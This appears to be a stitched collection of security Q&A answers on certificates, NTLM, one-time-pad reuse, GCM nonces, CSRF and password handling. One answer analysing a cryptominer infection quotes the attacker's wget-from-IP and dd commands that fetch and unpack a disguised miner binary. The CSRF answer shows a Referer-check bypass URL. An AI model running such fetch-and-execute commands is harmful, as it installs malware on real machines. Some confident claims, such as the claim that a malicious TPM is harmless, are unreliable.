Digital signature: a value computed, for a specified chunk of data (almost always a hash of the "real" data) using a private key, such that the corresponding public key can be used to determine if the given signature is correct for the given data and could only have been generated by the given private key. This allows the verifier to determine that the data has not been altered or forged, and the data was sent or at least seen by the holder of the private key, but it doesn't say anything about who that holder is.

(X.509 aka PKIX) (Identity) Certificate: a data structure including a public key for an entity and the identity of that entity; plus some other information related to the entity and/or the CA; all signed by a (generally) different entity called a Certificate Authority or CA.  I hope you meant Verisign only as an example; it is one CA but not the only one; you can get an equally good Internet certificate from others like GoDaddy, Comodo, StartCom LetsEncrypt, etc. If you trust a given CA to issue certs correctly, then you can trust the much larger number of public keys and identities in certs it issues. Update 2017: StartCom is no longer good, since it was bought by WoSign who was then caught breaking CABforum rules and now is widely distrusted. OTOH LetsEncrypt is now widely-trusted, and free. Which further emphasizes the importance of having multiple CAs!

User (end-entity) certificate: a certificate containing the key and identity for  anything other than a CA, such as an SSL server, an SSL client, a mail system, etc.

(CA) Root certificate: a certificate containing the public key of a root CA. Since there is no CA "above" the root, a dummy signature using the CA's own private key is used, but that has no security value. You must decide (or delegate) whether to trust that key
"out of band", that is, based on reasons other than cryptographic computations.

Chain or intermediate certificate (and CA): (as your question indicates) most CAs now operate in a hierarchical fashion, where the root key is not used to directly issue user certificates. Instead the root CA and its root (private) key is used to sign certificates for several intermediate or subordinate CAs, each of which has their own keypair. Each intermediate CA can then issue user certs, or sometimes a second level of intermediate certs; this can be extended to several levels, but that's very rarely needed.

Since you mention a browser, you are apparently concerned (only?) with certificates (and keys) for HTTPS (HTTP over SSL/TLS). This is a common and important use of certificates and PKC, but not the only use.

Now, case 1. Since this case doesn't consider chain/intermediate, and Verisign does use that, I'll use a hypothetical SimpleCA instead. First, no CA ever has or sends you your private key. You generate your key pair and send your public key to the CA in a data structure called a Certificate Signing Request or CSR. The CSR also should contain your name; for an SSL server this is normally the domain name (FQDN) of the server. The CSR contains some other data you can ignore for now. The CA verifies your claimed identity (for SSL server, that you "control" the specified domain name), and usually collects a fee, and then creates a certificate which contains:

your name (here SSL server FQDN) as the Subject and/or one or several name(s) as SubjectAlternativeNames especially in recent years
your public key as SubjectPublicKey, and usually a hash of it as SubjectKeyID
a ValidityPeriod specifying how long the certificate is valid, chosen by the CA based partly on how much you pay them
the CA's name as the Issuer, and usually an AuthorityKeyID which also identifies the CA
some other data you can ignore for now

and this whole structure is signed using the CA's private key (which means it can be verified using the CA's public key). The CA sends this certificate back to you to use in your server along with the private key you already have.

Previously, assuming SimpleCA showed it can be trusted to appropriately verify applicants and paid a fee, the browser vendors (Microsoft, Mozilla, Google, Apple, etc.) agreed to include its public key with their browsers, normally in the form of SimpleCA's root cert. Now when some browser connects to your server and you send your cert which says in effect "Aviel-server approved by SimpleCA", the browser finds SimpleCA's root cert and thus SimpleCA's public key and uses that to verify that your cert is signed correctly, and that the server name in your cert matches the server in the URL the user wants; if both those pass, it accepts the public key in your cert as the correct public key for you, and uses it to complete the SSL/TLS handshake. If not it displays some kind of warning or error.

Unless, that is, your cert was revoked. If your private key is compromised, or if the CA determines that you no longer control the claimed identity (including if they discover you never did but deceived them on the application), the CA publishes that your cert is revoked and therefore browsers don't trust it even though the signature still verifies (because the RSA computation is a fixed mathematical process independent of time or environment).
But revocation, and if and when and how well it works, is a whole complicated topic by itself, and this answer is large enough already.
(edit) How does OCSP stapling work? covers revocation (actually both OCSP and CRLs) with ursine thoroughness. If your certificate is expired (past the end of its validity period) it is also invalid; this one is easy for browser to check. Formally a certificate can also be invalid before the beginning of its validity period, but in practice CAs don't issue 'post-dated' certs unless someone messes up the timezone or something.

However, the set of CA root certificates supplied in a browser is usually only the default; the browser user can decide to add new roots or delete existing ones if they choose. And if so that may make your server trusted when it wasn't before, or untrusted when it was before.

Case 2 (chain). One reason for intermediate CAs and thus intermediate or chain certs is keeping the root key offline as you say. Another reason is to allow the intermediate CAs to be managed much like users: they can have limited validity periods and be renewed, and if compromised (or just no longer wanted) they can be revoked, and this happens automatically and nearly invisibly. On the other hand if you have to extend, replace, or revoke a root, basically every browser in the world must be updated. That's a lot of work, and is never done completely because users will refuse or forget to install an update and be left trusting a CA that isn't secure and thus probably servers that aren't legitimate.
Also for revocations that are published the older way using a Certificate Revocation List (CRL) dividing the issued certs over multiple intermediate CAs makes CRL management easier.

With a single intermediate/chain cert, the process is changed as follows. Let's say VerisignServerB is issued under VerisignRoot and is used in turn to issue Aviel-server. (The actual names are longer, but this is easier to see.) Then your server is configured to send both Aviel-server and VerisignServerB to the browser. The browser checks that the VerisignServerB cert is signed correctly under the VerisignRoot public key (as before, normally stored as a selfsigned root cert), AND that Aviel-server cert is signed correctly under VerisignServerB public key from that cert, and that Aviel-server cert name matches the desired one. It doesn't matter which order the signatures are checked as long as both are.

SSL Certificate framework 101: How does the browser actually verify the validity of a given server certificate?
has a nice graphical example of this which may help you.

For multiple intermediate/chain certs, when used, the extension should now be obvious.


Is library version specification (Java's pom.xml, Python's requirements.txt, etc) fundamentally insecure?

Am I right when I assume that it's usually insecure to specify maximum (or exact) versions of a library in project's requirements?

It depends.

If the requirement is due to a possible API change in later versions then this requirement makes sense. You will often find that Java applications require a specific version of Java since there are lots of small changes between the Java version which might (not necessarily will) break the application. Sometimes the requirement only says with which software stack it was tested and that no support will be given if used with another software stack.

It is bad and insecure if this requirement means that you cannot upgrade the software stack in case of vulnerabilities.

  ... most Linux package managers that basically "force" developers to port their software to new versions of libraries.

Not really. Most Linux distributions do not enforce the newest library in case of vulnerabilities with the older version, but instead try to port the bug fixes back to the older version. Only when a new distributions gets released they include newer versions of the software stack, but also often include additionally older versions to give existing software the (older) libraries they need.

At the end each developer has only limited time to test and thus testing is done only with a few variations of the software stack. And most developers don't have the time to adapt and test their software with each new version of a library or programming language etc.


... /tmp/kworker34 ... -o stratum+tcp://185.154.52.74:80 ...

Googling for stratum+tcp indicates that crypto-currency mining is going on.

 wget 91.235.143.237/miu.png -O /tmp/conn
 dd if=/tmp/conn skip=7664 bs=1 of=/tmp/kworker34

Having a closer look with file /tmp/kworker34 indicates /tmp/kworker34: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, stripped. This means the PNG file is used to transport a Linux binary.

strings /tmp/kworker34 gives among a lot of junk:

$Info: This file is packed with the UPX executable packer http://upx.sf.net $
$Id: UPX 3.91 Copyright (C) 1996-2013 the UPX Team. All Rights Reserved. $

UPX packer is by itself not bad but often used in the context of malware. Using upx -d to unpack the file and running again strings on it reveals some interesting strings:

User-Agent: cpuminer/2.3.3
...
Try `minerd --help' for more information.
Usage: minerd [OPTIONS]
  -o, --url=URL         URL of mining server
  -O, --userpass=U:P    username:password pair for mining server
  ...

Thus this is probably cpuminer version 2.3.3 as can be found on github and which is described as:

  This is a multi-threaded CPU miner for Litecoin and Bitcoin,
  fork of Jeff Garzik's reference cpuminer.

For more information about the topic of unwanted miners see New Linux Malware Installs Bitcoin Mining Software on Infected Device and other links.


Do I need to keep the NTLM token in the HTTP Authorization header a secret?

Yes, you should remove the authorization header unless you are absolutely certain that NTLMv2 was being used.

NTLMv1 is very weak; somebody could easily brute force the password of your user, and then impersonating him or her. With NTLMv2 that is not possible.

Either version of NTLM authenticates the TCP connection with a random challenge/response, so there is no real danger of an attacker possibly reusing the token for impersonation.

Unfortunately, it is not possible to determine which NTLM version was used by looking at the token alone. You really need to check the NTLM security settings for both the client and the server at the time the TCP connection was established. If you cannot do that, remove the authorization header.


I accidentally installed an adware filled Firefox [solved]

When compromised you should re-install your machine completely. There is no way of knowing for sure that nothing else has been compromised.


Using outdated ADSL modem with up to date router - Security Concerns

I don't know if the modem has itself bugs which might affect its security even when configured as a dumb DSL modem (i.e. bridge mode). But due to NAT the internal network should be save from direct attacks from this modem. Security issues in the modem might though result in traffic modification and can thus indirectly affect the internal network. But the attack surface when used as dump DSL modem is likely way smaller so I think that this network setup is sufficiently secure.


Are string comparson timing attacks practical over public networks

With enough requests made it is possible to carry out statistical analysis of the results. Check out ircmaxell's blog post:

  It's been shown that you can remotely detect differences in time down to about 15 nanoseconds using a sample size of about 49,000

Analysing a large number of requests will iron out any network or application latency issues.


Can a website that is behind a well configured WAF still be vulnerable to Injection attacks?

Absolutely, there are not perfect protections so there are new ways to do injection appearing from time to time and often there will be a windows of opportunity between when that new type of attacks is published and when it gets fixed or patched.

Many WAF's can do positive security which is a very strong protection against yet unknown attacks in many cases, that would require more configuration and maintenance but it can be very good for security.


Suspicious app name in Windows 10 permission prompt

This is expected behaviour. When you install an MSI package, Windows caches a copy of the installer in "%windir%\installer" (a hidden system folder) and renames it using a random hex name. You can delve into the Windows registry to divine the mapping between original installer and the cached version, but if you'd like extra assurance it is probably easier (and more definitive) to compare the two .msi files.

Aside from the filename, the cached .msi file should be the same as the original .msi: you could compare details like file size, signing information, and checksums. In your screenshot, the verified publisher is "MongoDB, Inc".

You can confirm the install behaviour using:

 msiexec.exe /i <path_to_MSI> /lfvmous output.txt

Example output:

  MSI (s) (14:A8) [14:00:05:398]: Original package ==> C:\Users\User\Desktop\mongodb-win32-x86_64-2008plus-ssl-3.4.13-signed.msi

  MSI (s) (14:A8) [14:00:05:398]: Package we're running from ==> C:\WINDOWS\Installer\2c8ddfd2.msi

For some related information, see: Where the MSI file is copied after the installation?.


where should I store my application password?

https://msdn.microsoft.com/en-us/library/windows/desktop/aa374789(v=vs.85).aspx

  Developers who write for Windows can use the Credentials Management
  API including Credentials Management User Interface (UI) functions to
  obtain and manage credential information such as user names and
  passwords. These functions request Windows account information to be
  used instead of the credentials established while logging on. Such
  requests typically occur when the logon credentials do not have
  permissions that are required by the application. The Credentials
  Management UI functions provide interfaces with the appearance of the
  Windows user interface. These functions include customizable options
  that add user's information to the user's credentials store.

In your data are really impotent consider using hardware based solution (ex. Smart cards, TPM).


WinHTTP and python requests package, fail to validate certificate containing valid CN but invalid SAN

First, the issue is not about valid CN vs. invalid SAN but about a CN matching the domain vs. a SAN not matching the domain. A non-matching SAN is still a valid SAN entry.

The rule according to RFC 6125 is that the CN MUST not be checked if there is a SAN DNS entry. Additionally CN is deprecated for a long time and RFC 6125 explicitly adds that the CN MAY be checked if no appropriately typed SAN records exists and does not require it. Still, most implementations check both SAN and CN. Only Chrome does not check the CN at all since a while now. This is the primary reason the issue seems to be fixed with Chrome but not with others and this actually violates "Verification using the Common Name is required for the purposes of backwards compatibility" from FCS_TLSC_EXT.1.2.

  ... and python requests package, they accept the invalid SAN

As far as I can see the current version of requests ultimately uses the functionality of this ssl module in Python to validate the hostname. The code here in the latest version of Python explicitly makes sure that CN is only checked if no SAN DNS names exist. Of course, this might vary with the unknown version of Python and requests you are using.

  I want to know if this is how WInHTTP implements SAN check, or is it just our implementation

While I cannot be sure because I don't know your implementation the chance is high that at least the version of WinHTTP your are using implements CN checking additionally to SAN - at least by default. This is similar to many other implementations although it does neither match RFC 6125 nor the older RFC 2818.


The standard way to address unexpected and invalid inputs from web clients is to install a WAF (web application firewall). There are free and paid versions.

In this firewall, you configure the types of valid inputs and you can drop/reject/correct invalid inputs. Not only can this help with bots/hackers testing your app for weaknesses, but it can address things like SQLi, XSS, etc.

While a WAF can get complex fast (you can define valid inputs for each one of your functions, which is something to consider), you can also provide "broad stroke" protection and define that POSTs are invalid, for instance.


Can Kerberos encrypt network traffic between servers?

Kerberos is used as an authentication protocol, but it's fundamentally a key agreement/exchange protocol.

When a user gets a ticket from Active Directory for an application server a session key is generated and stuffed into the request. The application server decrypts the ticket and now has a session key. The server may decide it doesn't trust that key and in a final act tells the client to use a new provided key.

Once the client and server agree on a key they can communicate privately.

There are multiple catches to this though. The Kerberos spec sort of dictates how you send data back and forth, but it's mostly left to the developer to figure it out. Windows has an implementation, but you don't get to control the parameters like you do with TLS. This means developers tend to just take the key, derive it into something else, and shove it into a seperate protocol.

That said, you probably don't want to use Kerberos for secure communications. You have to build a lot of boilerplating into your code to get it working safely, whereas TLS already handles most of this for you.


How does a One-Time Pad work?
Imagine you have a message M which is encrypted with a key K, which then results in a ciphertext C. Let us assume that the process through which the encryption occurs is an XOR, which I'll show by the ^ symbol. Furthermore, we assume M, K and C all have the same length. So we know:
M ^ K = C

Assuming an attacker has access to C and wants to recover M, this is cryptographically impossible. Why? Because even if an attacker tried every single possible key K, they would receive every single possible message M'. It is impossible for them to tell which is the correct message. In fact, they could simply look at every single possible message of that length and they would not be any wiser.
However...
Why is it called One-Time Pad?
Because the same key can only be used once. If you use it twice, certain issues arise.
Let's take the same scenario as above, but now we have two messages M1 and M2, one key K and two cipher C1 and C2.
M1 ^ K = C1
M2 ^ K = C2

The curious thing about XOR is that it is a "reversible" operation. That means XOR'ing something with the same value twice results in the original value:
X ^ X = 0
X ^ 0 = X

therefore

X ^ Y ^ X = Y

Order of operations does not matter, just like in addition. Let's assume that the attacker has C1 and C2, but not access to M1 and M2.
C1 ^ C2 = (M1 ^ K) ^ (M2 ^ K)

Since order of operations does not matter, we can remove the parenthesis and group the K together:
C1 ^ C2 = (M1 ^ M2) ^ (K ^ K)

We learned above that a value XOR'd by itself is 0, and that a value XOR'd by 0 is itself. As such, we can simply remove the right parenthesis and get:
C1 ^ C2 = M1 ^ M2

This means that you now have access to two plaintext messages XOR'd to each other. This is a lot more information than just the ciphertexts.
How can I go from there?
Let us assume that a message is only uppercase ASCII and spaces, and you know the following:
     C1 = 55 3a 90 26 b3 b6 48 37 6f c1 45 f7 e8 47 61 78 21 52
     C2 = 42 33 97 55 ca b0 4e 37 61 ca 24 f9 e6 34 66 71 2f 44
C1 ^ C2 = 17 09 07 73 79 06 06 00 0e 0b 61 0e 0e 73 07 09 0e 16

At first glance, this may not seem to tell us a lot. After all, it's just some hexadecimal, right?
Well, if you look at the values in the last line, you see some low values and some high values. Let's look at the high values, the first one being 0x73, which is the ASCII value of the lowercase s. Why is this interesting? We know that it's the result of the XOR of the message M1 with M2, and both can only be uppercase and spaces. If you look closely at the ASCII value of a space, you see it's 0x20 or 0010 0000 in binary. Meaning that XOR'ing with a space only flips one bit. If you look at the ASCII table, you will notice that uppercase and lowercase characters also only differ by one bit. This was done so that "to Upper" and "to Lower", as well as "toggle case" functions only had to operate on one bit.
So we know the following:
Either of the following is true:

The fourth byte of M1 is S
The fourth byte of M2 is _
The fourth byte of K is 0x75

or

The fourth byte of M2 is S
The fourth byte of M1 is _
The fourth byte of K is 0x06

(Note that I am using _ to represent a space for better visibility)
We cannot yet tell which one of these is true, but we know they are mutually exclusive. If you have more messages C2, C3, etc. all encrypted by the same key, then you can simply determine which one is the one with the space, as all others will return either valid lowercase ASCII symbols or 0x00.
In fact, let's assume you intercepted a third message C3, with the value 4826f938d2a63b596dcc45f8e8347778354e
Now you know:
     C1 = 55 3a 90 26 b3 b6 48 37 6f c1 45 f7 e8 47 61 78 21 52
     C2 = 42 33 97 55 ca b0 4e 37 61 ca 24 f9 e6 34 66 71 2f 44
     C3 = 48 26 f9 38 d2 a6 3b 59 6d cc 45 f8 e8 34 77 78 35 4e

C1 ^ C2 = 17 09 07 73 79 06 06 00 0e 0b 61 0e 0e 73 07 09 0e 16
C1 ^ C3 = 1d 1c 69 1e 61 10 73 6e 02 0d 00 0f 00 73 16 00 14 1c
C2 ^ C3 = 0a 15 6e 6d 18 16 75 6e 0c 06 61 01 0e 00 11 09 1a 0a

This already gives us a bit more information. A lot more, in fact. First of all, let's have a look at the above hypothesis: We know either M1[4] is _ or M2[4] is _. Since C1 ^ C3 (and thus M1 ^ M3) does not result in a lowercase ACII character, we know both M1[4] and M3[4] are not spaces. Therefore we know that the first of our two hypothesized cases is true, and we know a bit more about the key and the other messages:
     C1 = 55 3a 90 26 b3 b6 48 37 6f c1 45 f7 e8 47 61 78 21 52
     C2 = 42 33 97 55 ca b0 4e 37 61 ca 24 f9 e6 34 66 71 2f 44
     C3 = 48 26 f9 38 d2 a6 3b 59 6d cc 45 f8 e8 34 77 78 35 4e

     M1 = ?? ?? ??  S ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??
     M2 = ?? ?? ?? __ ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??
     M3 = ?? ?? ??  M ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??

      K = ?? ?? ?? 75 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??

C1 ^ C2 = 17 09 07 73 79 06 06 00 0e 0b 61 0e 0e 73 07 09 0e 16
C1 ^ C3 = 1d 1c 69 1e 61 10 73 6e 02 0d 00 0f 00 73 16 00 14 1c
C2 ^ C3 = 0a 15 6e 6d 18 16 75 6e 0c 06 61 01 0e 00 11 09 1a 0a

We can also see that M1[3] ^ M3[3] and M2[3] ^ M3[3] result in printable characters, so we know M3[3] must be _ and therefore K[3] = C3[3] ^ 0x20, which is d9.
After doing all of this, your grid should look like this:
     C1 = 55 3a 90 26 b3 b6 48 37 6f c1 45 f7 e8 47 61 78 21 52
     C2 = 42 33 97 55 ca b0 4e 37 61 ca 24 f9 e6 34 66 71 2f 44
     C3 = 48 26 f9 38 d2 a6 3b 59 6d cc 45 f8 e8 34 77 78 35 4e

     M1 = ?? ??  I  S __ ??  S __ ?? ?? __ ?? ??  S ?? ?? ?? ??
     M2 = ?? ??  N __  Y ??  U __ ?? ??  A ?? ?? __ ?? ?? ?? ??
     M3 = ?? ?? __  M  A ?? __  N ?? ?? __ ?? ?? __ ?? ?? ?? ??

      K = ?? ?? d9 75 93 ?? 1b 17 ?? ?? 65 ?? ?? 14 ?? ?? ?? ??

C1 ^ C2 = 17 09 07 73 79 06 06 00 0e 0b 61 0e 0e 73 07 09 0e 16
C1 ^ C3 = 1d 1c 69 1e 61 10 73 6e 02 0d 00 0f 00 73 16 00 14 1c
C2 ^ C3 = 0a 15 6e 6d 18 16 75 6e 0c 06 61 01 0e 00 11 09 1a 0a

Are we stuck now?
This is as much as you can infer with 100% certainty. Now you can start to make some educated guesses. For example, you can see that M2 there is a three-letter word starting with Y and ending in U. You can make an educated guess here and assume that means "you". And indeed, if we assume that, we'd get the following:
     M1 = ?? ??  I  S __  I  S __ ?? ?? __ ?? ??  S ?? ?? ?? ??
     M2 = ?? ??  N __  Y  O  U __ ?? ??  A ?? ?? __ ?? ?? ?? ??
     M3 = ?? ?? __  M  A  Y __  N ?? ?? __ ?? ?? __ ?? ?? ?? ??

      K = ?? ?? d9 75 93 ff 1b 17 ?? ?? 65 ?? ?? 14 ?? ?? ?? ??

The other characters seem to fit. M1 forms the word "is" and M3 forms the word "may". Since those are legitimate English words, you can be pretty certain that those are correct. Furthermore, note that some of the XOR'd messages result in 0x00, which means that these must be the same letter. For example, even though you don't know what M1[13] ^ M2[13] is, you know that both of these letters must be identical.
Keep going from there and see if you can crack the rest.


Do password policies make passwords weaker?

I wrote about password policy impacts on password space a few years ago and it includes more of the math that you didn't find in the similar question Xander linked.  I can expand on that here if you have additional questions.  Essentially my answer there is that eliminating the risk of the weaker passwords is more beneficial than the risks of the attackers only having to crack conforming passwords.

Regarding your comment about a known minimum password length 'vastly reducing attack space', that's not really true.  The number of 8 character passwords (not to mention those greater than 8 characters) dwarfs all 1-7 character password possibilities combined.  While you do lose those possibilities you also eliminate the riskiest shorter passwords by setting a minimum length.  In practice, cracking anything shorter than 8 characters using a brute force attack against fast hashes takes almost no time at all.

Also, as far as the policy requirements leading people to choose predictable character patterns that is true, but not quite as risky as you expected.  When observing these patterns in real corporate password choices they do show up, but it isn't a straightforward choice by every single user.  Certainly more users do this than most of us would prefer, but it is challenging to eliminate these patterns without causing a lot of usability problems in the process.


How to make user token and where to store it (server side)

These user tokens you need sure sound a lot like cookies ;-)

Handling cookies is a hairy issue, and there's several approaches.

A usual one is a simple random string of characters. The user keeps it and you validate it against a hash in your database. Leaking this string would be really bad, be careful.

There's a common variation of this one: instead of a random string encode the user id and other session data and sign it (cryptographically), when the user presents it validate the signature and use the data from the cookie itself. This saves you a trip to the database.

A favorite of mine for native clients: HMAC tokens. You share a secret key with the client. The client uses this key to hash a nonce and a timestamp and sends the hash, the nonce and the timestamp to the server. The server performs the same calculations to validate the value received by the client.

This way the secret is sent over the wire only once, reducing risk of leakage. Well implemented it also reduces risk of replay attacks.

There's others. Perhaps you framework already supports one of them, in that case you might be better of with it.

Evaluate the different alternatives and if you need help deciding ask us.


Are password managers still effective on a cloud PC (virtual machine)?

It all very much depends on the exact situation.

Situation 1: The VM was turned off.

You mentioned that the specific VM can be turned on and off. I'm going to assume turning it off through the control panel shuts the VM down, meaning all RAM will be wiped.

In such a case, if the attacker could have turned the VM on and logged in, they could have stolen the password manager data base. This database is encrypted with either a master password or a key file.

In case of a master password, it depends on the exact configuration of the Key-Derivation Function set before the database was compromised. With sufficiently strict parameters, and a reasonably long password/passphrase, brute-forcing the database is nigh-impossible.

If a keyfile was used, and the keyfile was never transferred to the VM while the attacker had access, then it is also virtually impossible for the attacker to attack the database.

This is generally the best-case scenario.

Situation 2: The VM was used during the time of compromise.

In this case, the attacker could have actively attempted to gather passwords through your password manager, by waiting for the required key material (password/passphrase, keyfile, etc.) to be supplied.

While this is certainly theoretically possible, it would require the attacker to specifically target password managers. It's not possible for me to say whether or not they did.

Are password managers less secure than memorized passwords?

Password managers are designed to protect against a different kind of attack. In the vast majority of cases, the servers where a password is used are hacked, and hashes of these passwords are stolen. In such a case, a long and completely random password generated by a password manager is virtually impossible to crack, while a humanly rememberable password is magnitudes easier to crack by comparison. Sure, there are passwords/passphrases that are extremely difficult to crack, but they pale in comparison to

QZHvqfxKU7MB9UU?KaktEC2^qe*-VF2W++%tqagj

In the case of the machine where a password is stored being compromised, the password database is still encrypted, meaning that an attacker either needs to wait for the password database to be decrypted or they need to crack the master password themselves.

In comparison, if one were to use humanly memorable passwords, an attacker would need to wait for a user to enter the password manually. Depending on your habits (re-using passwords, using patterns for passwords, etc.), this means an attacker only needs to grab a few passwords to have access to your accounts.

In this situation, the humanly memorable passwords that follow all guidelines (all unique, strong passwords) and are never used while the machine is compromised, would fare better than a password manager.

However, such situations are much less frequent than hashes being stolen via e.g. a SQL Injection vulnerability. As such, it is still best-practice to use a password manager.

How should you react now?

First of all, change all your passwords of all accounts in the compromised database. Enable Multi-Factor Authentication for any service that offers is. Even with a cracked password, an attacker cannot compromise your account if the second or third factor is not compromised.

Finally, don't host your password manager in the VM. If it is at all possible, host a password manager locally and configure them to auto-type keystrokes instead. This means an attacker never has direct access to your password manager database. Sure, they would still have access to any password you enter, but that is unavoidable if your VM is compromised.


Why is my internal IP address (private) visible from the Internet?

The most likely source of this information is your browser's WebRTC implementation.

You can see this in the source code of ip-api.com.

From https://github.com/diafygi/webrtc-ips, which also provides a demo of this technique:

  Firefox and Chrome have implemented WebRTC that allow requests to STUN servers be made that will return the local and public IP addresses for the user. These request results are available to javascript, so you can now obtain a users local and public IP addresses in javascript.

It was recently noted that the New York Times was using this technique to help distinguish between real visitors and bots (i.e. if the WebRTC API is available and returns valid info, it's likely a real browser).

There are a couple of Chrome extensions that purport to block this API, but they don't seem to be effective at the moment.  Possibly this is because there aren't yet the hooks in the browser, as that GitHub README alludes to:

  Additionally, these STUN requests are made outside of the normal XMLHttpRequest procedure, so they are not visible in the developer console or able to be blocked by plugins such as AdBlockPlus or Ghostery.


What are the places one should look for CSRF flaw?

Cross site request forgery (CSRF) is performing a "forged" request from the attacker's site to another site where the victim is logged in. If that site is vulnerable, any action that the user could normally perform on the site can now be performed by the attacker.

An interesting action to perform through CSRF is changing the password or email address, as this results in account takeover. For passwords this is often impossible since you have to fill in the old password, but for email addresses this is sometimes forgotten.

Other interesting actions depend very much on what the purpose is of the attacked site. Here on sec.se, I would trigger upvotes on all my questions and answers through CSRF.

Requests that perform some action are supposed to have CSRF protection and are interesting to test. Most of the time these are POST requests, but not always. Some sites do have CSRF protection on all POST requests, but not on GET requests. In that case it is interesting to search for a GET request that performs some action.

One request that can often be forged is to log out the user. On most sites, simply visiting /logout or something like that will log out the user. This is technically CSRF, although with a rather mundane impact.

CSRF protection is typically done by sending a random token along with any request. The attacker wouldn't have this token and thus can't forge a valid request.

Sometimes the site verifies the Referer or Origin headers to verify that the request came from the site itself. This can be secure, but is a bit harder to get correct. Sometimes the site checks whether "https://www.example.com/" is contained in the Referer, in which case it can be attacked by using "https://www.attacker.com/?https://www.example.com/" as the attacking page. Sometimes the check isn't done if the Referer header is missing, which the attacker can trigger through a referrer policy.

Finally, Same-Site cookies provide adequate protection against CSRF, but only for browsers that support them.


how much is AES GCM's security affected when not using unique IV's

If we accept that SecureRandom is a true random then the expected collision for IV is given by the birthday paradox is sqrt(2^96) = 2^48. Your daily message is 2^24 and this will have a very low collision probability. You will have 6.783914×10-16 chance of collision probability for the day. However, once the collision occurs we have IV reuse.

IV reuse is very dangerous for GCM. Internally, GCM uses the CTR mode of operation for encryption and if the key and IV are the same then the two-time pad attack are possible as in OTP.

CTR mode, even, reveals the plaintexts due to IV reuse, doesn't leak the key. The two-time pad attack once successful reveals the keystream generated by the CTR mode. Then the attacker has to execute a known plaintext attack on AES which has known as resistance to this attack. The only applicable attack is the brute force ( other than the side-channel attacks).

Also, IV reuse can leak information about the authentication key;

  In messages up to ℓ blocks long, after a single nonce reuse the adversary can narrow the authentication key down to ℓ possibilities with polynomial root-finding and thereby forge messages with high success probability 1/ℓ.

Instead of selecting randomly, you can choose your IV by applying a monotonic counter, that is usual in practice and recommended in  NIST 800-38d, page 20, 8.2.1 Deterministic Construction.


A computer "NOT connected to the internet" is somewhat of an oxymoron nowadays. It may not be exposed directly on the Internet, but it is very likely part of a LAN and in that same LAN there are other computers with access to the Internet...

So, if a computer in that same LAN is compromised, it can be used as a stepping-stone to that machine holding sensitive data. Put it differently, it is indirectly reachable from the Internet.

Even if you can isolate it from the network completely (which is rarely practical) you still have to factor access controls, physical security, internal actors etc.


How to check if some encryptions are disabled in OpenSSL?

If you want to know which ciphers are available within your openssl binary just run openssl ciphers -V 'ALL:eNULL'. This shows you all ciphers available and the details, e.g.

0xC0,0x30 - ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 Kx=ECDH     Au=RSA  Enc=AESGCM(256) Mac=AEAD
0xC0,0x2C - ECDHE-ECDSA-AES256-GCM-SHA384 TLSv1.2 Kx=ECDH     Au=ECDSA Enc=AESGCM(256) Mac=AEAD
0xC0,0x28 - ECDHE-RSA-AES256-SHA384 TLSv1.2 Kx=ECDH     Au=RSA  Enc=AES(256)  Mac=SHA384
0xC0,0x24 - ECDHE-ECDSA-AES256-SHA384 TLSv1.2 Kx=ECDH     Au=ECDSA Enc=AES(256)  Mac=SHA384
....

If you instead want to know which ciphers are available when using a specific cipher string inside the server use this cipher string instead of ALL:eNULL. Note that you need to make sure that your server and the openssl binary actually use the same OpenSSL library - and the exact same library build (i.e. same *.so file) and not  another library with the same OpenSSL version number.


What's the worst someone could do with my phone unlock code?

Short Answer: For Windows phone, Android and iOS he would not be able to do anything. A PIN would only be useful to a attacker physical access or if he had remote access to your phone. If you are the average person and not high up in government you have nothing to worry about.


How do large organisations manage access for their Instagram account?

Not a complete solution, but paid LastPass accounts (Premium, Family, Teams, or Enterprise) allow a group of individuals to share access to one or more groups of login objects.  The text of the password does not need to be visible as the LastPass Extension handles the actual login.

The down side is that once logged into a site, a rogue user can modify anything that does not require the original password to change.  For example, rogue user could change the contact e-mail address, then request a "password recovery".

On the bright side, if you stop trusting someone before they go rogue, you can simply stop sharing the object(s) with them instead of changing passwords.  Not much, but it's something...

Edit:  As AndrolGenhald says in comments, changing the PW may still have value.


Are credit card number look ups more secure with a hash function than with a deterministic encryption algorithm?

Performing the card lookups against a hash rather than against an encrypted value is done for speed so it is for performance, rather than security, benefit.

In terms of security and the lookup functionality, you could consider a static salt (pepper) as well as an additional, somewhat dynamic salt (such as the expiry date of the card number).


Typed my password on Google search box by mistake. What happens now?

What happens now? You should change your password.

What happened when you entered it in the Google search bar without clicking "Google Search" or Enter? Each character of text was sent (over HTTPS via GET Request) to Google which may or may not have provided suggestions on additional characters or words to enter for your search query.

You can see this live in the Chrome DevTools (press F12) as you type. Go to the "Network" tab and begin typing characters. You'll see each new character append the last request and the GET Request send off to a Google-owned IP address. You can also see the returned suggested searches in the Response tab.

Ultimately it comes down to whether you trust Google with the password you entered. In all likelihood is anything going to happen as a result of this / is your account going to be compromised? Probably not. But it is good practice to reset it given that this behavior can happen on any website you visit anyway.


What do I do when a ISP stores passwords as plaintext

Definitely make sure you are using different unique and complex password for each site - especially something like your ISP.

And of course http://plaintextoffenders.com/


Is there a risk from anyone having access to a TPM chip before you install it?

It would not be a risk. A TPM contains an Endorsement Key, or EK, which is used similarly to the web's PKI to certify a device as genuine and compliant with the TCG standard. They could not modify it or provide you with a new and malicious TPM unless they had the private key for the EK. This private key is not given out to the public anymore than root certificates for CAs are. The EK is unique for each device, but this is not a security risk. All they can do by knowing the EK is verify that the TPM is indeed genuine, the same way you can.

The TPM lies on the LPC bus, however it cannot use the LDRQ# line which is required to become bus master and mount a DMA attack. Because of this, even a malicious TPM is harmless.


What's the safest way to access my US-based bank's website from within Mexico? VPN vs SSH vs HTTPS?

The only reason I would recommend tunneling HTTPS over VPN or SSH is if you (1) don't trust your banks implementation of SSL/TLS (weak cipher suites) and the network(s) your traffic is traversing or (2) you want to hide the destination(s) your browsing to up until the VPN/SSH exit point.

Provided HTTPS is implemented properly, it should be just as secure as VPN or SSH.

I would say compromise of your PC is more likely than compromise of data in transit due to a weakness in the bank's security.


URL Filtering - What is the reason for blocking short url

Usually a user can inspect the link on a website before clicking it. Certain websites serve the lone purpose of redirecting to another URL, which cannot be checked easily beforehand. Therefore, the user cannot possible know, which website he is about to connect to, which is not really safe-browsing.

I guess, this is the most common reason to block Short-Links.


